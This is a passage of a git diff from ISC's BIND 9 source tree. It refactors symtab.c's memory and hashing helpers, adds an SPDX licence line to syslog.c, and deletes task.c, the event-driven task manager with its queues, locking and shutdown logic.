-	isc_mem_put(symtab->mctx, symtab->table,
-		    symtab->size * sizeof(eltlist_t));
+	isc_mem_cput(symtab->mctx, symtab->table, symtab->size,
+		     sizeof(eltlist_t));
 	symtab->magic = 0;
 	isc_mem_putanddetach(&symtab->mctx, symtab, sizeof(*symtab));
 }
 
-static inline unsigned int
+static unsigned int
 hash(const char *key, bool case_sensitive) {
 	const char *s;
 	unsigned int h = 0;
-	int c;
 
 	/*
 	 * This hash function is similar to the one Ousterhout
@@ -122,9 +123,7 @@ hash(const char *key, bool case_sensitive) {
 		}
 	} else {
 		for (s = key; *s != '\0'; s++) {
-			c = *s;
-			c = tolower((unsigned char)c);
-			h += (h << 3) + c;
+			h += (h << 3) + isc_ascii_tolower(*s);
 		}
 	}
 
@@ -162,9 +161,7 @@ isc_symtab_lookup(isc_symtab_t *symtab, const char *key, unsigned int type,
 		return (ISC_R_NOTFOUND);
 	}
 
-	if (value != NULL) {
-		*value = elt->value;
-	}
+	SET_IF_NOT_NULL(value, elt->value);
 
 	return (ISC_R_SUCCESS);
 }
@@ -180,7 +177,7 @@ grow_table(isc_symtab_t *symtab) {
 	newmax = newsize * 3 / 4;
 	INSIST(newsize > 0U && newmax > 0U);
 
-	newtable = isc_mem_get(symtab->mctx, newsize * sizeof(eltlist_t));
+	newtable = isc_mem_cget(symtab->mctx, newsize, sizeof(eltlist_t));
 
 	for (i = 0; i < newsize; i++) {
 		INIT_LIST(newtable[i]);
@@ -200,8 +197,8 @@ grow_table(isc_symtab_t *symtab) {
 		}
 	}
 
-	isc_mem_put(symtab->mctx, symtab->table,
-		    symtab->size * sizeof(eltlist_t));
+	isc_mem_cput(symtab->mctx, symtab->table, symtab->size,
+		     sizeof(eltlist_t));
 
 	symtab->table = newtable;
 	symtab->size = newsize;
@@ -244,7 +241,7 @@ isc_symtab_define(isc_symtab_t *symtab, const char *key, unsigned int type,
 	 * truly const coming in and then the caller modified it anyway ...
 	 * well, don't do that!
 	 */
-	DE_CONST(key, elt->key);
+	elt->key = UNCONST(key);
 	elt->type = type;
 	elt->value = value;
 
diff --git a/lib/isc/syslog.c b/lib/isc/syslog.c
index af386b1825..81b99ca490 100644
--- a/lib/isc/syslog.c
+++ b/lib/isc/syslog.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/task.c b/lib/isc/task.c
deleted file mode 100644
index e93c5d5856..0000000000
--- a/lib/isc/task.c
+++ /dev/null
@@ -1,1349 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-/*
- * XXXRTH  Need to document the states a task can be in, and the rules
- * for changing states.
- */
-
-#include <stdbool.h>
-#include <unistd.h>
-
-#include <isc/app.h>
-#include <isc/atomic.h>
-#include <isc/condition.h>
-#include <isc/event.h>
-#include <isc/magic.h>
-#include <isc/mem.h>
-#include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/random.h>
-#include <isc/refcount.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/thread.h>
-#include <isc/time.h>
-#include <isc/util.h>
-
-#ifdef HAVE_LIBXML2
-#include <libxml/xmlwriter.h>
-#define ISC_XMLCHAR (const xmlChar *)
-#endif /* HAVE_LIBXML2 */
-
-#ifdef HAVE_JSON_C
-#include <json_object.h>
-#endif /* HAVE_JSON_C */
-
-#include "task_p.h"
-
-/*
- * Task manager is built around 'as little locking as possible' concept.
- * Each thread has his own queue of tasks to be run, if a task is in running
- * state it will stay on the runner it's currently on, if a task is in idle
- * state it can be woken up on a specific runner with isc_task_sendto - that
- * helps with data locality on CPU.
- *
- * To make load even some tasks (from task pools) are bound to specific
- * queues using isc_task_create_bound. This way load balancing between
- * CPUs/queues happens on the higher layer.
- */
-
-#ifdef ISC_TASK_TRACE
-#define XTRACE(m) \
-	fprintf(stderr, "task %p thread %zu: %s\n", task, isc_tid_v, (m))
-#define XTTRACE(t, m) \
-	fprintf(stderr, "task %p thread %zu: %s\n", (t), isc_tid_v, (m))
-#define XTHREADTRACE(m) fprintf(stderr, "thread %zu: %s\n", isc_tid_v, (m))
-#else /* ifdef ISC_TASK_TRACE */
-#define XTRACE(m)
-#define XTTRACE(t, m)
-#define XTHREADTRACE(m)
-#endif /* ifdef ISC_TASK_TRACE */
-
-/***
- *** Types.
- ***/
-
-typedef enum {
-	task_state_idle,    /* not doing anything, events queue empty */
-	task_state_ready,   /* waiting in worker's queue */
-	task_state_running, /* actively processing events */
-	task_state_done	    /* shutting down, no events or references */
-} task_state_t;
-
-#if defined(HAVE_LIBXML2) || defined(HAVE_JSON_C)
-static const char *statenames[] = {
-	"idle",
-	"ready",
-	"running",
-	"done",
-};
-#endif /* if defined(HAVE_LIBXML2) || defined(HAVE_JSON_C) */
-
-#define TASK_MAGIC    ISC_MAGIC('T', 'A', 'S', 'K')
-#define VALID_TASK(t) ISC_MAGIC_VALID(t, TASK_MAGIC)
-
-struct isc_task {
-	/* Not locked. */
-	unsigned int magic;
-	isc_taskmgr_t *manager;
-	isc_mutex_t lock;
-	int threadid;
-	/* Locked by task lock. */
-	task_state_t state;
-	isc_refcount_t references;
-	isc_refcount_t running;
-	isc_eventlist_t events;
-	isc_eventlist_t on_shutdown;
-	unsigned int nevents;
-	unsigned int quantum;
-	isc_stdtime_t now;
-	isc_time_t tnow;
-	char name[16];
-	void *tag;
-	bool bound;
-	/* Protected by atomics */
-	atomic_bool shuttingdown;
-	atomic_bool privileged;
-	/* Locked by task manager lock. */
-	LINK(isc_task_t) link;
-};
-
-#define TASK_SHUTTINGDOWN(t) (atomic_load_acquire(&(t)->shuttingdown))
-#define TASK_PRIVILEGED(t)   (atomic_load_acquire(&(t)->privileged))
-
-#define TASK_MANAGER_MAGIC ISC_MAGIC('T', 'S', 'K', 'M')
-#define VALID_MANAGER(m)   ISC_MAGIC_VALID(m, TASK_MANAGER_MAGIC)
-
-struct isc_taskmgr {
-	/* Not locked. */
-	unsigned int magic;
-	isc_refcount_t references;
-	isc_mem_t *mctx;
-	isc_mutex_t lock;
-	atomic_uint_fast32_t tasks_count;
-	isc_nm_t *netmgr;
-
-	/* Locked by task manager lock. */
-	unsigned int default_quantum;
-	LIST(isc_task_t) tasks;
-	atomic_uint_fast32_t mode;
-	atomic_bool exclusive_req;
-	atomic_bool exiting;
-
-	/*
-	 * Multiple threads can read/write 'excl' at the same time, so we need
-	 * to protect the access.  We can't use 'lock' since isc_task_detach()
-	 * will try to acquire it.
-	 */
-	isc_mutex_t excl_lock;
-	isc_task_t *excl;
-};
-
-#define DEFAULT_DEFAULT_QUANTUM 25
-
-/*%
- * The following are intended for internal use (indicated by "isc__"
- * prefix) but are not declared as static, allowing direct access from
- * unit tests etc.
- */
-
-bool
-isc_task_purgeevent(isc_task_t *task, isc_event_t *event);
-void
-isc_taskmgr_setexcltask(isc_taskmgr_t *mgr, isc_task_t *task);
-isc_result_t
-isc_taskmgr_excltask(isc_taskmgr_t *mgr, isc_task_t **taskp);
-
-/***
- *** Tasks.
- ***/
-
-static void
-task_finished(isc_task_t *task) {
-	isc_taskmgr_t *manager = task->manager;
-	isc_mem_t *mctx = manager->mctx;
-	REQUIRE(EMPTY(task->events));
-	REQUIRE(task->nevents == 0);
-	REQUIRE(EMPTY(task->on_shutdown));
-	REQUIRE(task->state == task_state_done);
-
-	XTRACE("task_finished");
-
-	isc_refcount_destroy(&task->running);
-	isc_refcount_destroy(&task->references);
-
-	LOCK(&manager->lock);
-	UNLINK(manager->tasks, task, link);
-	atomic_fetch_sub(&manager->tasks_count, 1);
-	UNLOCK(&manager->lock);
-
-	isc_mutex_destroy(&task->lock);
-	task->magic = 0;
-	isc_mem_put(mctx, task, sizeof(*task));
-
-	isc_taskmgr_detach(&manager);
-}
-
-isc_result_t
-isc_task_create(isc_taskmgr_t *manager, unsigned int quantum,
-		isc_task_t **taskp) {
-	return (isc_task_create_bound(manager, quantum, taskp, -1));
-}
-
-isc_result_t
-isc_task_create_bound(isc_taskmgr_t *manager, unsigned int quantum,
-		      isc_task_t **taskp, int threadid) {
-	isc_task_t *task;
-	bool exiting;
-
-	REQUIRE(VALID_MANAGER(manager));
-	REQUIRE(taskp != NULL && *taskp == NULL);
-
-	XTRACE("isc_task_create");
-
-	task = isc_mem_get(manager->mctx, sizeof(*task));
-	*task = (isc_task_t){ 0 };
-
-	isc_taskmgr_attach(manager, &task->manager);
-
-	if (threadid == -1) {
-		/*
-		 * Task is not pinned to a queue, it's threadid will be
-		 * chosen when first task will be sent to it - either
-		 * randomly or specified by isc_task_sendto.
-		 */
-		task->bound = false;
-		task->threadid = -1;
-	} else {
-		/*
-		 * Task is pinned to a queue, it'll always be run
-		 * by a specific thread.
-		 */
-		task->bound = true;
-		task->threadid = threadid;
-	}
-
-	isc_mutex_init(&task->lock);
-	task->state = task_state_idle;
-
-	isc_refcount_init(&task->references, 1);
-	isc_refcount_init(&task->running, 0);
-	INIT_LIST(task->events);
-	INIT_LIST(task->on_shutdown);
-	task->nevents = 0;
-	task->quantum = (quantum > 0) ? quantum : manager->default_quantum;
-	atomic_init(&task->shuttingdown, false);
-	atomic_init(&task->privileged, false);
-	task->now = 0;
-	isc_time_settoepoch(&task->tnow);
-	memset(task->name, 0, sizeof(task->name));
-	task->tag = NULL;
-	INIT_LINK(task, link);
-
-	exiting = false;
-	LOCK(&manager->lock);
-	if (!atomic_load_relaxed(&manager->exiting)) {
-		APPEND(manager->tasks, task, link);
-		atomic_fetch_add(&manager->tasks_count, 1);
-	} else {
-		exiting = true;
-	}
-	UNLOCK(&manager->lock);
-
-	if (exiting) {
-		isc_mutex_destroy(&task->lock);
-		isc_taskmgr_detach(&task->manager);
-		isc_mem_put(manager->mctx, task, sizeof(*task));
-		return (ISC_R_SHUTTINGDOWN);
-	}
-
-	task->magic = TASK_MAGIC;
-	*taskp = task;
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_task_attach(isc_task_t *source, isc_task_t **targetp) {
-	/*
-	 * Attach *targetp to source.
-	 */
-
-	REQUIRE(VALID_TASK(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	XTTRACE(source, "isc_task_attach");
-
-	isc_refcount_increment(&source->references);
-
-	*targetp = source;
-}
-
-static inline bool
-task_shutdown(isc_task_t *task) {
-	bool was_idle = false;
-	isc_event_t *event, *prev;
-
-	/*
-	 * Caller must be holding the task's lock.
-	 */
-
-	XTRACE("task_shutdown");
-
-	if (atomic_compare_exchange_strong(&task->shuttingdown,
-					   &(bool){ false }, true)) {
-		XTRACE("shutting down");
-		if (task->state == task_state_idle) {
-			INSIST(EMPTY(task->events));
-			task->state = task_state_ready;
-			was_idle = true;
-		}
-		INSIST(task->state == task_state_ready ||
-		       task->state == task_state_running);
-
-		/*
-		 * Note that we post shutdown events LIFO.
-		 */
-		for (event = TAIL(task->on_shutdown); event != NULL;
-		     event = prev) {
-			prev = PREV(event, ev_link);
-			DEQUEUE(task->on_shutdown, event, ev_link);
-			ENQUEUE(task->events, event, ev_link);
-			task->nevents++;
-		}
-	}
-
-	return (was_idle);
-}
-
-/*
- * Moves a task onto the appropriate run queue.
- *
- * Caller must NOT hold queue lock.
- */
-static inline void
-task_ready(isc_task_t *task) {
-	isc_taskmgr_t *manager = task->manager;
-	REQUIRE(VALID_MANAGER(manager));
-
-	XTRACE("task_ready");
-
-	isc_refcount_increment0(&task->running);
-	isc_nm_task_enqueue(manager->netmgr, task, task->threadid);
-}
-
-void
-isc_task_ready(isc_task_t *task) {
-	task_ready(task);
-}
-
-static inline bool
-task_detach(isc_task_t *task) {
-	/*
-	 * Caller must be holding the task lock.
-	 */
-
-	XTRACE("detach");
-
-	if (isc_refcount_decrement(&task->references) == 1 &&
-	    task->state == task_state_idle)
-	{
-		INSIST(EMPTY(task->events));
-		/*
-		 * There are no references to this task, and no
-		 * pending events.  We could try to optimize and
-		 * either initiate shutdown or clean up the task,
-		 * depending on its state, but it's easier to just
-		 * make the task ready and allow run() or the event
-		 * loop to deal with shutting down and termination.
-		 */
-		task->state = task_state_ready;
-		return (true);
-	}
-
-	return (false);
-}
-
-void
-isc_task_detach(isc_task_t **taskp) {
-	isc_task_t *task;
-	bool was_idle;
-
-	/*
-	 * Detach *taskp from its task.
-	 */
-
-	REQUIRE(taskp != NULL);
-	task = *taskp;
-	REQUIRE(VALID_TASK(task));
-
-	XTRACE("isc_task_detach");
-
-	LOCK(&task->lock);
-	was_idle = task_detach(task);
-	UNLOCK(&task->lock);
-
-	if (was_idle) {
-		task_ready(task);
-	}
-
-	*taskp = NULL;
-}
-
-static inline bool
-task_send(isc_task_t *task, isc_event_t **eventp, int c) {
-	bool was_idle = false;
-	isc_event_t *event;
-
-	/*
-	 * Caller must be holding the task lock.
-	 */
-
-	REQUIRE(eventp != NULL);
-	event = *eventp;
-	*eventp = NULL;
-	REQUIRE(event != NULL);
-	REQUIRE(event->ev_type > 0);
-	REQUIRE(task->state != task_state_done);
-	REQUIRE(!ISC_LINK_LINKED(event, ev_ratelink));
-
-	XTRACE("task_send");
-
-	if (task->bound) {
-		c = task->threadid;
-	} else if (c < 0) {
-		c = -1;
-	}
-
-	if (task->state == task_state_idle) {
-		was_idle = true;
-		task->threadid = c;
-		INSIST(EMPTY(task->events));
-		task->state = task_state_ready;
-	}
-	INSIST(task->state == task_state_ready ||
-	       task->state == task_state_running);
-	ENQUEUE(task->events, event, ev_link);
-	task->nevents++;
-
-	return (was_idle);
-}
-
-void
-isc_task_send(isc_task_t *task, isc_event_t **eventp) {
-	isc_task_sendto(task, eventp, -1);
-}
-
-void
-isc_task_sendanddetach(isc_task_t **taskp, isc_event_t **eventp) {
-	isc_task_sendtoanddetach(taskp, eventp, -1);
-}
-
-void
-isc_task_sendto(isc_task_t *task, isc_event_t **eventp, int c) {
-	bool was_idle;
-
-	/*
-	 * Send '*event' to 'task'.
-	 */
-
-	REQUIRE(VALID_TASK(task));
-	XTRACE("isc_task_send");
-
-	/*
-	 * We're trying hard to hold locks for as short a time as possible.
-	 * We're also trying to hold as few locks as possible.  This is why
-	 * some processing is deferred until after the lock is released.
-	 */
-	LOCK(&task->lock);
-	was_idle = task_send(task, eventp, c);
-	UNLOCK(&task->lock);
-
-	if (was_idle) {
-		/*
-		 * We need to add this task to the ready queue.
-		 *
-		 * We've waited until now to do it because making a task
-		 * ready requires locking the manager.  If we tried to do
-		 * this while holding the task lock, we could deadlock.
-		 *
-		 * We've changed the state to ready, so no one else will
-		 * be trying to add this task to the ready queue.  The
-		 * only way to leave the ready state is by executing the
-		 * task.  It thus doesn't matter if events are added,
-		 * removed, or a shutdown is started in the interval
-		 * between the time we released the task lock, and the time
-		 * we add the task to the ready queue.
-		 */
-		task_ready(task);
-	}
-}
-
-void
-isc_task_sendtoanddetach(isc_task_t **taskp, isc_event_t **eventp, int c) {
-	bool idle1, idle2;
-	isc_task_t *task;
-
-	/*
-	 * Send '*event' to '*taskp' and then detach '*taskp' from its
-	 * task.
-	 */
-
-	REQUIRE(taskp != NULL);
-	task = *taskp;
-	REQUIRE(VALID_TASK(task));
-	XTRACE("isc_task_sendanddetach");
-
-	LOCK(&task->lock);
-	idle1 = task_send(task, eventp, c);
-	idle2 = task_detach(task);
-	UNLOCK(&task->lock);
-
-	/*
-	 * If idle1, then idle2 shouldn't be true as well since we're holding
-	 * the task lock, and thus the task cannot switch from ready back to
-	 * idle.
-	 */
-	INSIST(!(idle1 && idle2));
-
-	if (idle1 || idle2) {
-		task_ready(task);
-	}
-
-	*taskp = NULL;
-}
-
-#define PURGE_OK(event) (((event)->ev_attributes & ISC_EVENTATTR_NOPURGE) == 0)
-
-static unsigned int
-dequeue_events(isc_task_t *task, void *sender, isc_eventtype_t first,
-	       isc_eventtype_t last, void *tag, isc_eventlist_t *events,
-	       bool purging) {
-	isc_event_t *event, *next_event;
-	unsigned int count = 0;
-
-	REQUIRE(VALID_TASK(task));
-	REQUIRE(last >= first);
-
-	XTRACE("dequeue_events");
-
-	/*
-	 * Events matching 'sender', whose type is >= first and <= last, and
-	 * whose tag is 'tag' will be dequeued.  If 'purging', matching events
-	 * which are marked as unpurgable will not be dequeued.
-	 *
-	 * sender == NULL means "any sender", and tag == NULL means "any tag".
-	 */
-
-	LOCK(&task->lock);
-
-	for (event = HEAD(task->events); event != NULL; event = next_event) {
-		next_event = NEXT(event, ev_link);
-		if (event->ev_type >= first && event->ev_type <= last &&
-		    (sender == NULL || event->ev_sender == sender) &&
-		    (tag == NULL || event->ev_tag == tag) &&
-		    (!purging || PURGE_OK(event)))
-		{
-			DEQUEUE(task->events, event, ev_link);
-			task->nevents--;
-			ENQUEUE(*events, event, ev_link);
-			count++;
-		}
-	}
-
-	UNLOCK(&task->lock);
-
-	return (count);
-}
-
-unsigned int
-isc_task_purgerange(isc_task_t *task, void *sender, isc_eventtype_t first,
-		    isc_eventtype_t last, void *tag) {
-	unsigned int count;
-	isc_eventlist_t events;
-	isc_event_t *event, *next_event;
-	REQUIRE(VALID_TASK(task));
-
-	/*
-	 * Purge events from a task's event queue.
-	 */
-
-	XTRACE("isc_task_purgerange");
-
-	ISC_LIST_INIT(events);
-
-	count = dequeue_events(task, sender, first, last, tag, &events, true);
-
-	for (event = HEAD(events); event != NULL; event = next_event) {
-		next_event = NEXT(event, ev_link);
-		ISC_LIST_UNLINK(events, event, ev_link);
-		isc_event_free(&event);
-	}
-
-	/*
-	 * Note that purging never changes the state of the task.
-	 */
-
-	return (count);
-}
-
-unsigned int
-isc_task_purge(isc_task_t *task, void *sender, isc_eventtype_t type,
-	       void *tag) {
-	/*
-	 * Purge events from a task's event queue.
-	 */
-	REQUIRE(VALID_TASK(task));
-
-	XTRACE("isc_task_purge");
-
-	return (isc_task_purgerange(task, sender, type, type, tag));
-}
-
-bool
-isc_task_purgeevent(isc_task_t *task, isc_event_t *event) {
-	isc_event_t *curr_event, *next_event;
-
-	/*
-	 * Purge 'event' from a task's event queue.
-	 *
-	 * XXXRTH:  WARNING:  This method may be removed before beta.
-	 */
-
-	REQUIRE(VALID_TASK(task));
-
-	/*
-	 * If 'event' is on the task's event queue, it will be purged,
-	 * unless it is marked as unpurgeable.  'event' does not have to be
-	 * on the task's event queue; in fact, it can even be an invalid
-	 * pointer.  Purging only occurs if the event is actually on the task's
-	 * event queue.
-	 *
-	 * Purging never changes the state of the task.
-	 */
-
-	LOCK(&task->lock);
-	for (curr_event = HEAD(task->events); curr_event != NULL;
-	     curr_event = next_event)
-	{
-		next_event = NEXT(curr_event, ev_link);
-		if (curr_event == event && PURGE_OK(event)) {
-			DEQUEUE(task->events, curr_event, ev_link);
-			task->nevents--;
-			break;
-		}
-	}
-	UNLOCK(&task->lock);
-
-	if (curr_event == NULL) {
-		return (false);
-	}
-
-	isc_event_free(&curr_event);
-
-	return (true);
-}
-
-unsigned int
-isc_task_unsendrange(isc_task_t *task, void *sender, isc_eventtype_t first,
-		     isc_eventtype_t last, void *tag, isc_eventlist_t *events) {
-	/*
-	 * Remove events from a task's event queue.
-	 */
-	REQUIRE(VALID_TASK(task));
-
-	XTRACE("isc_task_unsendrange");
-
-	return (dequeue_events(task, sender, first, last, tag, events, false));
-}
-
-unsigned int
-isc_task_unsend(isc_task_t *task, void *sender, isc_eventtype_t type, void *tag,
-		isc_eventlist_t *events) {
-	/*
-	 * Remove events from a task's event queue.
-	 */
-
-	XTRACE("isc_task_unsend");
-
-	return (dequeue_events(task, sender, type, type, tag, events, false));
-}
-
-isc_result_t
-isc_task_onshutdown(isc_task_t *task, isc_taskaction_t action, void *arg) {
-	bool disallowed = false;
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_event_t *event;
-
-	/*
-	 * Send a shutdown event with action 'action' and argument 'arg' when
-	 * 'task' is shutdown.
-	 */
-
-	REQUIRE(VALID_TASK(task));
-	REQUIRE(action != NULL);
-
-	event = isc_event_allocate(task->manager->mctx, NULL,
-				   ISC_TASKEVENT_SHUTDOWN, action, arg,
-				   sizeof(*event));
-
-	if (TASK_SHUTTINGDOWN(task)) {
-		disallowed = true;
-		result = ISC_R_SHUTTINGDOWN;
-	} else {
-		LOCK(&task->lock);
-		ENQUEUE(task->on_shutdown, event, ev_link);
-		UNLOCK(&task->lock);
-	}
-
-	if (disallowed) {
-		isc_mem_put(task->manager->mctx, event, sizeof(*event));
-	}
-
-	return (result);
-}
-
-void
-isc_task_shutdown(isc_task_t *task) {
-	bool was_idle;
-
-	/*
-	 * Shutdown 'task'.
-	 */
-
-	REQUIRE(VALID_TASK(task));
-
-	LOCK(&task->lock);
-	was_idle = task_shutdown(task);
-	UNLOCK(&task->lock);
-
-	if (was_idle) {
-		task_ready(task);
-	}
-}
-
-void
-isc_task_destroy(isc_task_t **taskp) {
-	/*
-	 * Destroy '*taskp'.
-	 */
-
-	REQUIRE(taskp != NULL);
-
-	isc_task_shutdown(*taskp);
-	isc_task_detach(taskp);
-}
-
-void
-isc_task_setname(isc_task_t *task, const char *name, void *tag) {
-	/*
-	 * Name 'task'.
-	 */
-
-	REQUIRE(VALID_TASK(task));
-
-	LOCK(&task->lock);
-	strlcpy(task->name, name, sizeof(task->name));
-	task->tag = tag;
-	UNLOCK(&task->lock);
-}
-
-const char *
-isc_task_getname(isc_task_t *task) {
-	REQUIRE(VALID_TASK(task));
-
-	return (task->name);
-}
-
-void *
-isc_task_gettag(isc_task_t *task) {
-	REQUIRE(VALID_TASK(task));
-
-	return (task->tag);
-}
-
-isc_nm_t *
-isc_task_getnetmgr(isc_task_t *task) {
-	REQUIRE(VALID_TASK(task));
-
-	return (task->manager->netmgr);
-}
-
-/***
- *** Task Manager.
- ***/
-
-static isc_result_t
-task_run(isc_task_t *task) {
-	unsigned int dispatch_count = 0;
-	bool finished = false;
-	isc_event_t *event = NULL;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	REQUIRE(VALID_TASK(task));
-
-	LOCK(&task->lock);
-	/* FIXME */
-	if (task->state != task_state_ready) {
-		goto done;
-	}
-
-	INSIST(task->state == task_state_ready);
-	task->state = task_state_running;
-	XTRACE("running");
-	XTRACE(task->name);
-	TIME_NOW(&task->tnow);
-	task->now = isc_time_seconds(&task->tnow);
-
-	while (true) {
-		if (!EMPTY(task->events)) {
-			event = HEAD(task->events);
-			DEQUEUE(task->events, event, ev_link);
-			task->nevents--;
-
-			/*
-			 * Execute the event action.
-			 */
-			XTRACE("execute action");
-			XTRACE(task->name);
-			if (event->ev_action != NULL) {
-				UNLOCK(&task->lock);
-				(event->ev_action)(task, event);
-				LOCK(&task->lock);
-			}
-			XTRACE("execution complete");
-			dispatch_count++;
-		}
-
-		if (isc_refcount_current(&task->references) == 0 &&
-		    EMPTY(task->events) && !TASK_SHUTTINGDOWN(task))
-		{
-			/*
-			 * There are no references and no pending events for
-			 * this task, which means it will not become runnable
-			 * again via an external action (such as sending an
-			 * event or detaching).
-			 *
-			 * We initiate shutdown to prevent it from becoming a
-			 * zombie.
-			 *
-			 * We do this here instead of in the "if
-			 * EMPTY(task->events)" block below because:
-			 *
-			 *	If we post no shutdown events, we want the task
-			 *	to finish.
-			 *
-			 *	If we did post shutdown events, will still want
-			 *	the task's quantum to be applied.
-			 */
-			INSIST(!task_shutdown(task));
-		}
-
-		if (EMPTY(task->events)) {
-			/*
-			 * Nothing else to do for this task right now.
-			 */
-			XTRACE("empty");
-			if (isc_refcount_current(&task->references) == 0 &&
-			    TASK_SHUTTINGDOWN(task)) {
-				/*
-				 * The task is done.
-				 */
-				XTRACE("done");
-				task->state = task_state_done;
-			} else if (task->state == task_state_running) {
-				XTRACE("idling");
-				task->state = task_state_idle;
-			}
-			break;
-		} else if (dispatch_count >= task->quantum) {
-			/*
-			 * Our quantum has expired, but there is more work to be
-			 * done.  We'll requeue it to the ready queue later.
-			 *
-			 * We don't check quantum until dispatching at least one
-			 * event, so the minimum quantum is one.
-			 */
-			XTRACE("quantum");
-			task->state = task_state_ready;
-			result = ISC_R_QUOTA;
-			break;
-		}
-	}
-
-done:
-	if (isc_refcount_decrement(&task->running) == 1 &&
-	    task->state == task_state_done)
-	{
-		finished = true;
-	}
-	UNLOCK(&task->lock);
-
-	if (finished) {
-		task_finished(task);
-	}
-
-	return (result);
-}
-
-isc_result_t
-isc_task_run(isc_task_t *task) {
-	return (task_run(task));
-}
-
-static void
-manager_free(isc_taskmgr_t *manager) {
-	isc_refcount_destroy(&manager->references);
-	isc_nm_detach(&manager->netmgr);
-
-	isc_mutex_destroy(&manager->lock);
-	isc_mutex_destroy(&manager->excl_lock);
-	manager->magic = 0;
-	isc_mem_putanddetach(&manager->mctx, manager, sizeof(*manager));
-}
-
-void
-isc_taskmgr_attach(isc_taskmgr_t *source, isc_taskmgr_t **targetp) {
-	REQUIRE(VALID_MANAGER(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	isc_refcount_increment(&source->references);
-
-	*targetp = source;
-}
-
-void
-isc_taskmgr_detach(isc_taskmgr_t **managerp) {
-	REQUIRE(managerp != NULL);
-	REQUIRE(VALID_MANAGER(*managerp));
-
-	isc_taskmgr_t *manager = *managerp;
-	*managerp = NULL;
-
-	if (isc_refcount_decrement(&manager->references) == 1) {
-		manager_free(manager);
-	}
-}
-
-isc_result_t
-isc__taskmgr_create(isc_mem_t *mctx, unsigned int default_quantum, isc_nm_t *nm,
-		    isc_taskmgr_t **managerp) {
-	isc_taskmgr_t *manager;
-
-	/*
-	 * Create a new task manager.
-	 */
-
-	REQUIRE(managerp != NULL && *managerp == NULL);
-	REQUIRE(nm != NULL);
-
-	manager = isc_mem_get(mctx, sizeof(*manager));
-	*manager = (isc_taskmgr_t){ .magic = TASK_MANAGER_MAGIC };
-
-	isc_mutex_init(&manager->lock);
-	isc_mutex_init(&manager->excl_lock);
-
-	if (default_quantum == 0) {
-		default_quantum = DEFAULT_DEFAULT_QUANTUM;
-	}
-	manager->default_quantum = default_quantum;
-
-	if (nm != NULL) {
-		isc_nm_attach(nm, &manager->netmgr);
-	}
-
-	INIT_LIST(manager->tasks);
-	atomic_init(&manager->exiting, false);
-	atomic_init(&manager->mode, isc_taskmgrmode_normal);
-	atomic_init(&manager->exclusive_req, false);
-	atomic_init(&manager->tasks_count, 0);
-
-	isc_mem_attach(mctx, &manager->mctx);
-
-	isc_refcount_init(&manager->references, 1);
-
-	*managerp = manager;
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc__taskmgr_shutdown(isc_taskmgr_t *manager) {
-	isc_task_t *task;
-
-	REQUIRE(VALID_MANAGER(manager));
-
-	XTHREADTRACE("isc_taskmgr_shutdown");
-	/*
-	 * Only one non-worker thread may ever call this routine.
-	 * If a worker thread wants to initiate shutdown of the
-	 * task manager, it should ask some non-worker thread to call
-	 * isc_taskmgr_destroy(), e.g. by signalling a condition variable
-	 * that the startup thread is sleeping on.
-	 */
-
-	/*
-	 * Detach the exclusive task before acquiring the manager lock
-	 */
-	LOCK(&manager->excl_lock);
-	if (manager->excl != NULL) {
-		isc_task_detach((isc_task_t **)&manager->excl);
-	}
-	UNLOCK(&manager->excl_lock);
-
-	/*
-	 * Unlike elsewhere, we're going to hold this lock a long time.
-	 * We need to do so, because otherwise the list of tasks could
-	 * change while we were traversing it.
-	 *
-	 * This is also the only function where we will hold both the
-	 * task manager lock and a task lock at the same time.
-	 */
-
-	LOCK(&manager->lock);
-
-	/*
-	 * Make sure we only get called once.
-	 */
-	INSIST(atomic_compare_exchange_strong(&manager->exiting,
-					      &(bool){ false }, true));
-
-	/*
-	 * Post shutdown event(s) to every task (if they haven't already been
-	 * posted).
-	 */
-	for (task = HEAD(manager->tasks); task != NULL; task = NEXT(task, link))
-	{
-		LOCK(&task->lock);
-		if (task_shutdown(task)) {
-			task_ready(task);
-		}
-		UNLOCK(&task->lock);
-	}
-
-	UNLOCK(&manager->lock);
-}
-
-void
-isc__taskmgr_destroy(isc_taskmgr_t **managerp) {
-	REQUIRE(managerp != NULL && VALID_MANAGER(*managerp));
-	XTHREADTRACE("isc_taskmgr_destroy");
-
-#ifdef ISC_TASK_TRACE
-	int counter = 0;
-	while (isc_refcount_current(&(*managerp)->references) > 1 &&
-	       counter++ < 1000) {
-		usleep(10 * 1000);
-	}
-	INSIST(counter < 1000);
-#else
-	while (isc_refcount_current(&(*managerp)->references) > 1) {
-		usleep(10 * 1000);
-	}
-#endif
-
-	isc_taskmgr_detach(managerp);
-}
-
-void
-isc_taskmgr_setexcltask(isc_taskmgr_t *mgr, isc_task_t *task) {
-	REQUIRE(VALID_MANAGER(mgr));
-	REQUIRE(VALID_TASK(task));
-	REQUIRE(task->threadid == 0);
-
-	LOCK(&mgr->excl_lock);
-	if (mgr->excl != NULL) {
-		isc_task_detach(&mgr->excl);
-	}
-	isc_task_attach(task, &mgr->excl);
-	UNLOCK(&mgr->excl_lock);
-}
-
-isc_result_t
-isc_taskmgr_excltask(isc_taskmgr_t *mgr, isc_task_t **taskp) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-	REQUIRE(VALID_MANAGER(mgr));
-	REQUIRE(taskp != NULL && *taskp == NULL);
-
-	LOCK(&mgr->excl_lock);
-	if (mgr->excl != NULL) {
-		isc_task_attach(mgr->excl, taskp);
-	} else {
